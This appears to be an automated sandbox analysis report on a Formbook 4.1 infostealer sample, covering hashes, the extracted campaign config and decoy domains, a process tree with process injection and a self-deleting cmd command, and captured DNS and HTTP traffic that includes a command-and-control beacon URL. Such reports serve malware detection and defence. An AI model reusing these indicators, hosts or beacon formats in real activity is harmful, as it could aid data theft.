Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-12-2024 04:52

General

  • Target

    skmbt ref 10072022.exe

  • Size

    933KB

  • MD5

    dc681c0d1b1a68760efaa3d0e30c265c

  • SHA1

    b9af8e985e07a8ca11a5b81e7353428015c824ad

  • SHA256

    866ff728d933b6a13b260cb79be66e9d17069f15fb7458673d313f6d7590864a

  • SHA512

    fb1b39aba32987f6a84617870e5b3cfc9a6c54726979ad9608082b78135d91a35fd4c4ae7bd63f90c35e51d138c9d7952d93daef9ebc62f4dcbb880fd23d5de2

  • SSDEEP

    12288:wGrI2iNQxZU/LPBBmJw5afc8WBuSSVwwuizH+BllvMo3Y6J2u:wGs1gUjPBwwIWcSSSeze3d3Q

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

a1n9

Decoy

mundodasmaquininhas.net

smop2.info

xn--chriemonrve-cbbu.com

kalebet977.com

inmobiliarianb.com

watersmartaz.com

xyz.gallery

sadiztech.com

traiteur-albi.fr

blocks.icu

hangrypancreas.com

saysosoulcards.com

rightforearth.com

swifty.network

bettwsrfc.co.uk

bcausemarketing.com

thaibjbar.com

zurisfashion.store

optimisescreencleaner.com

couponsjoe.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Formbook family
  • Formbook payload 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3508
    • C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe
      "C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2380
      • C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe
        "C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe"
        3⤵
          PID:1768
        • C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe
          "C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe"
          3⤵
            PID:4396
          • C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe
            "C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe"
            3⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            PID:4032
        • C:\Windows\SysWOW64\wscript.exe
          "C:\Windows\SysWOW64\wscript.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3560
          • C:\Windows\SysWOW64\cmd.exe
            /c del "C:\Users\Admin\AppData\Local\Temp\skmbt ref 10072022.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4348

      Network

      • flag-us
        DNS
        241.150.49.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        241.150.49.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        22.49.80.91.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        22.49.80.91.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        95.221.229.192.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        95.221.229.192.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        23.159.190.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        23.159.190.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        232.168.11.51.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        232.168.11.51.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        228.249.119.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        228.249.119.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        197.87.175.4.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        197.87.175.4.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        241.42.69.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        241.42.69.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        24.139.73.23.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        24.139.73.23.in-addr.arpa
        IN PTR
        Response
        24.139.73.23.in-addr.arpa
        IN PTR
        a23-73-139-24deploystaticakamaitechnologiescom
      • flag-us
        DNS
        83.210.23.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        83.210.23.2.in-addr.arpa
        IN PTR
        Response
        83.210.23.2.in-addr.arpa
        IN PTR
        a2-23-210-83deploystaticakamaitechnologiescom
      • flag-us
        DNS
        www.joulesjordan.com
        Remote address:
        8.8.8.8:53
        Request
        www.joulesjordan.com
        IN A
        Response
      • flag-us
        DNS
        19.229.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        19.229.111.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        www.wwwhx951.com
        Remote address:
        8.8.8.8:53
        Request
        www.wwwhx951.com
        IN A
        Response
      • flag-us
        DNS
        www.blocks.icu
        Remote address:
        8.8.8.8:53
        Request
        www.blocks.icu
        IN A
        Response
        www.blocks.icu
        IN CNAME
        blocks.icu
        blocks.icu
        IN A
        192.0.78.25
        blocks.icu
        IN A
        192.0.78.24
      • flag-us
        GET
        http://www.blocks.icu/a1n9/?hdmTv2MX=VnfuStwuEFmDOSc+Yd/5Q+XOchp2W1FFazlMVPqdlvFAXbFBI8/JuiFRMb1cq8/I2Qeh&BPJdfv=YV8tz6Q
        Explorer.EXE
        Remote address:
        192.0.78.25:80
        Request
        GET /a1n9/?hdmTv2MX=VnfuStwuEFmDOSc+Yd/5Q+XOchp2W1FFazlMVPqdlvFAXbFBI8/JuiFRMb1cq8/I2Qeh&BPJdfv=YV8tz6Q HTTP/1.1
        Host: www.blocks.icu
        Connection: close
        Response
        HTTP/1.1 301 Moved Permanently
        Server: nginx
        Date: Sun, 22 Dec 2024 04:54:55 GMT
        Content-Type: text/html
        Content-Length: 162
        Connection: close
        Location: https://www.blocks.icu/a1n9/?hdmTv2MX=VnfuStwuEFmDOSc+Yd/5Q+XOchp2W1FFazlMVPqdlvFAXbFBI8/JuiFRMb1cq8/I2Qeh&BPJdfv=YV8tz6Q
        X-ac: 3.lhr _dfw BYPASS
        Alt-Svc: h3=":443"; ma=86400
      • flag-us
        DNS
        25.78.0.192.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        25.78.0.192.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        www.jfdxpctb.net
        Remote address:
        8.8.8.8:53
        Request
        www.jfdxpctb.net
        IN A
        Response
      • 192.0.78.25:80
        http://www.blocks.icu/a1n9/?hdmTv2MX=VnfuStwuEFmDOSc+Yd/5Q+XOchp2W1FFazlMVPqdlvFAXbFBI8/JuiFRMb1cq8/I2Qeh&BPJdfv=YV8tz6Q
        http
        Explorer.EXE
        394 B
        713 B
        5
        5

        HTTP Request

        GET http://www.blocks.icu/a1n9/?hdmTv2MX=VnfuStwuEFmDOSc+Yd/5Q+XOchp2W1FFazlMVPqdlvFAXbFBI8/JuiFRMb1cq8/I2Qeh&BPJdfv=YV8tz6Q

        HTTP Response

        301
      • 8.8.8.8:53
        241.150.49.20.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        241.150.49.20.in-addr.arpa

      • 8.8.8.8:53
        22.49.80.91.in-addr.arpa
        dns
        70 B
        145 B
        1
        1

        DNS Request

        22.49.80.91.in-addr.arpa

      • 8.8.8.8:53
        95.221.229.192.in-addr.arpa
        dns
        73 B
        144 B
        1
        1

        DNS Request

        95.221.229.192.in-addr.arpa

      • 8.8.8.8:53
        23.159.190.20.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        23.159.190.20.in-addr.arpa

      • 8.8.8.8:53
        232.168.11.51.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        232.168.11.51.in-addr.arpa

      • 8.8.8.8:53
        228.249.119.40.in-addr.arpa
        dns
        73 B
        159 B
        1
        1

        DNS Request

        228.249.119.40.in-addr.arpa

      • 8.8.8.8:53
        197.87.175.4.in-addr.arpa
        dns
        71 B
        157 B
        1
        1

        DNS Request

        197.87.175.4.in-addr.arpa

      • 8.8.8.8:53
        241.42.69.40.in-addr.arpa
        dns
        71 B
        145 B
        1
        1

        DNS Request

        241.42.69.40.in-addr.arpa

      • 8.8.8.8:53
        24.139.73.23.in-addr.arpa
        dns
        71 B
        135 B
        1
        1

        DNS Request

        24.139.73.23.in-addr.arpa

      • 8.8.8.8:53
        83.210.23.2.in-addr.arpa
        dns
        70 B
        133 B
        1
        1

        DNS Request

        83.210.23.2.in-addr.arpa

      • 8.8.8.8:53
        www.joulesjordan.com
        dns
        66 B
        139 B
        1
        1

        DNS Request

        www.joulesjordan.com

      • 8.8.8.8:53
        19.229.111.52.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        19.229.111.52.in-addr.arpa

      • 8.8.8.8:53
        www.wwwhx951.com
        dns
        62 B
        135 B
        1
        1

        DNS Request

        www.wwwhx951.com

      • 8.8.8.8:53
        www.blocks.icu
        dns
        60 B
        106 B
        1
        1

        DNS Request

        www.blocks.icu

        DNS Response

        192.0.78.25
        192.0.78.24

      • 8.8.8.8:53
        25.78.0.192.in-addr.arpa
        dns
        70 B
        135 B
        1
        1

        DNS Request

        25.78.0.192.in-addr.arpa

      • 8.8.8.8:53
        www.jfdxpctb.net
        dns
        62 B
        135 B
        1
        1

        DNS Request

        www.jfdxpctb.net

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2380-12-0x0000000009EA0000-0x0000000009F06000-memory.dmp

        Filesize

        408KB

      • memory/2380-7-0x0000000074A3E000-0x0000000074A3F000-memory.dmp

        Filesize

        4KB

      • memory/2380-0-0x0000000074A3E000-0x0000000074A3F000-memory.dmp

        Filesize

        4KB

      • memory/2380-3-0x0000000005A40000-0x0000000005AD2000-memory.dmp

        Filesize

        584KB

      • memory/2380-4-0x0000000074A30000-0x00000000751E0000-memory.dmp

        Filesize

        7.7MB

      • memory/2380-5-0x00000000059F0000-0x00000000059FA000-memory.dmp

        Filesize

        40KB

      • memory/2380-6-0x0000000007420000-0x0000000007438000-memory.dmp

        Filesize

        96KB

      • memory/2380-16-0x0000000074A30000-0x00000000751E0000-memory.dmp

        Filesize

        7.7MB

      • memory/2380-8-0x0000000074A30000-0x00000000751E0000-memory.dmp

        Filesize

        7.7MB

      • memory/2380-9-0x0000000006F20000-0x0000000006F2C000-memory.dmp

        Filesize

        48KB

      • memory/2380-10-0x0000000009C50000-0x0000000009CDE000-memory.dmp

        Filesize

        568KB

      • memory/2380-11-0x0000000009D90000-0x0000000009E2C000-memory.dmp

        Filesize

        624KB

      • memory/2380-2-0x0000000005FF0000-0x0000000006594000-memory.dmp

        Filesize

        5.6MB

      • memory/2380-1-0x0000000000F50000-0x0000000001040000-memory.dmp

        Filesize

        960KB

      • memory/2380-13-0x0000000009D40000-0x0000000009D74000-memory.dmp

        Filesize

        208KB

      • memory/3508-32-0x0000000008C70000-0x0000000008D8E000-memory.dmp

        Filesize

        1.1MB

      • memory/3508-21-0x0000000009550000-0x00000000096E8000-memory.dmp

        Filesize

        1.6MB

      • memory/3508-25-0x0000000009550000-0x00000000096E8000-memory.dmp

        Filesize

        1.6MB

      • memory/3508-29-0x0000000008C70000-0x0000000008D8E000-memory.dmp

        Filesize

        1.1MB

      • memory/3508-30-0x0000000008C70000-0x0000000008D8E000-memory.dmp

        Filesize

        1.1MB

      • memory/3560-22-0x0000000000CE0000-0x0000000000D07000-memory.dmp

        Filesize

        156KB

      • memory/3560-24-0x0000000000350000-0x000000000037F000-memory.dmp

        Filesize

        188KB

      • memory/3560-23-0x0000000000CE0000-0x0000000000D07000-memory.dmp

        Filesize

        156KB

      • memory/4032-17-0x00000000017B0000-0x0000000001AFA000-memory.dmp

        Filesize

        3.3MB

      • memory/4032-20-0x00000000014E0000-0x00000000014F4000-memory.dmp

        Filesize

        80KB

      • memory/4032-19-0x0000000000400000-0x000000000042F000-memory.dmp

        Filesize

        188KB

      • memory/4032-14-0x0000000000400000-0x000000000042F000-memory.dmp

        Filesize

        188KB

      We care about your privacy.

      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.